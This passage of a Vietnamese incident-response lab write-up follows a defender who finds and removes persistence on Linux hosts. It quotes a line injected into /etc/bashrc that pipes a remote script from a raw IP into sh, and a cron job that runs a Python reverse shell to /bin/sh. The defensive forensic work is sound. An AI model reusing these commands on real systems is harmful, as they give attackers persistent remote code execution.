![image](https://hackmd.io/_uploads/H1Ga-YY11x.png) * Xóa webshell, kill process và đóng case. ## Lab 23: * Tiến hành ssh đến user `root ip:192.168.80.137` khi đăng nhập thành công xuất hiện một thông báo lạ. ![image](https://hackmd.io/_uploads/Hk8q90P1Je.png) * Phân tích lỗi thì mình nhận ra lỗi này xuất hiện do sự cố liên quan đến việc thực thi một tập tin shell không hợp lệ khi bạn đăng nhập vào hệ thống, tiến hành kiểm tra thêm nguyên nhân xảy ra lỗi này. * Sau khi sử dụng các công cụ chuyên dụng để rà soát mã độc thì mình nhận thấy file /etc/bashrc đã bị sửa đổi. ![image](https://hackmd.io/_uploads/ByUgnRPyke.png) * Nội dung đã được thêm vào `# vim:ts=4:sw=4 curl -s -L http://217.12.221.12/Ci.sh|sh` * Kiểm tra thời gian thì thấy file đã được sửa đổi vào `20/1/2021 ` ![image](https://hackmd.io/_uploads/ryRp20vkJe.png) * Phân tích đoạn code gọi curl đến trang độc hại để lấy source sau đó truyền qua pipe vào sh để thực thi. Tuy nhiên hiện tại trang web không thể truy cập nên không phân tích được hành vi. Tiến hành xóa và đóng case. ## Lab 24: * Khi vừa đăng nhập vào bài lab thì thấy thông báo user hunter có mail tại `/var/spool/mail/hunter` ![image](https://hackmd.io/_uploads/By_rH-qJ1e.png) * cat thử nội dung của của mail ra thì biết được rằng email này được gửi tự động từ cron daemon và đang thực thi một lệnh sau mỗi phút. ``` * * * * * python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call("/bin/sh");' ``` ![image](https://hackmd.io/_uploads/rkOAcb9yyx.png) * Phân tích câu payload thì phát hiện ra được đây là một backdoor shell, lệnh này tạo ra socket kết nối tới 127.0.0.1:443 nhưng sau đó chuyển hướng tới `/bin/sh` để có thể kết nối tới máy attacker thiết lập một reverse shell. * Ngoài ra phát hiện thêm webshell tại `/var/lib/tomcat/webapps/muabannhadat/web/PostThue.jsp` ![image](https://hackmd.io/_uploads/S1P6R-c1kx.png) * Tiến hành thu thập sample webshell và xóa crontab. https://blogd.net/linux/cac-file-log-quan-trong-tren-linux/

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully